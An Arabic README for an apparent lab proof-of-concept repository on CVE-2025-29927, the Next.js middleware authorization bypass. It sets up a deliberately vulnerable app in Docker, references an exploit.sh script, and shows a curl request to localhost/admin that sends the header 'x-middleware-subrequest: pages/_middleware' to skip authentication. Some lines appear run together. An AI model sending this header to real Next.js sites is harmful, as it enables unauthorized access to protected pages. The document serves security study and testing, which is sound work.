
بحث حول ثغرة الوسيطة (Middleware) في Next.js (CVE-2025-29927) التي تسمح بتجاوز التفويض (Authorization Bypass) واستغلالات محتملة.
يستعرض هذا المستودع ثغرة حرجة في Next.js في الوسيط (CVE-2025-29927)، والتي تؤثر على الإصدارات من 11.1.4 حتى 15.1.7. تتيح هذه الثغرة تجاوز التفويض وتجاوز سياسة أمان المحتوى (CSP) واحتمال حدوث هجمات حجب الخدمة (DoS) عبر تسميم ذاكرة التخزين المؤقت. يعود أصل المشكلة إلى طريقة معالجة الترويسة x-middleware-subrequest، مما يسمح للمهاجمين بتجاوز آليات حماية الوسيط.
إثبات المفهوم هذا خاص بالثغرة في v12
قم بإعداد البيئة الهشة باستخدام Docker والملفات الموجودة في هذا المستودع عن طريق تشغيل:
git clone https://github.com/l1uk/nextjs-middleware-exploit.git
cd nextjs-middleware-exploit
docker build -t my-next-app .
docker run -p 3000:3000 my-next-app
يحتوي هذا المستودع على السكربت exploit.sh المُعد مسبقًا لاختبار استغلال الثغرة. لاختباره، قم بتشغيل:
chmod +x exploit.sh
./exploit.sh
بالإضافة إلى ذلك، يمكنك اختبار استغلال الثغرة عبر تجربة ما يلي:
login.curl -i http://localhost:3000/admin
x-middleware-subrequest. يجب أن تتمكن من تجاوز صفحة المصادقة.curl -i -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/admin